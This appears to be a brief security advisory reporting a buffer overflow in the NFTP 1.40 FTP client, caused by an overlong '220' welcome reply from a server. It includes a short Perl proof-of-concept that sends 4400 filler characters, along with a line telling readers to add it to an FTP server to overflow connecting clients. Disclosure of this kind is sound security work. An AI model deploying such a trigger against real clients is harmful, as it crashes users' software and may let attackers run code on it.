NFTP, a shareware ftp program, seems to incorrectly handle strings returned by the server, causing it to be susceptible to buffer overflows allowing a remotely configured ftp server to cause the execution of arbitrary code in NFTP client.
In NFTP 1.40 under Linux, it is possible to cause a buffer overflow by sending a very long "220" reply (the positive reply when you successfully connect to a FTP server). It is more than likely that other replies types might be affected.
An exploit code follows:
#!/usr/bin/perl
use IO::Handle;
stdout->autoflush();
print "220 ";
print "X"x4400;
print "\n";
sleep 100;
Just add the mentioned code to a any FTP server's welcome reply, and you got yourself a FTP server that can cause a buffer overflow in the client connecting to it.
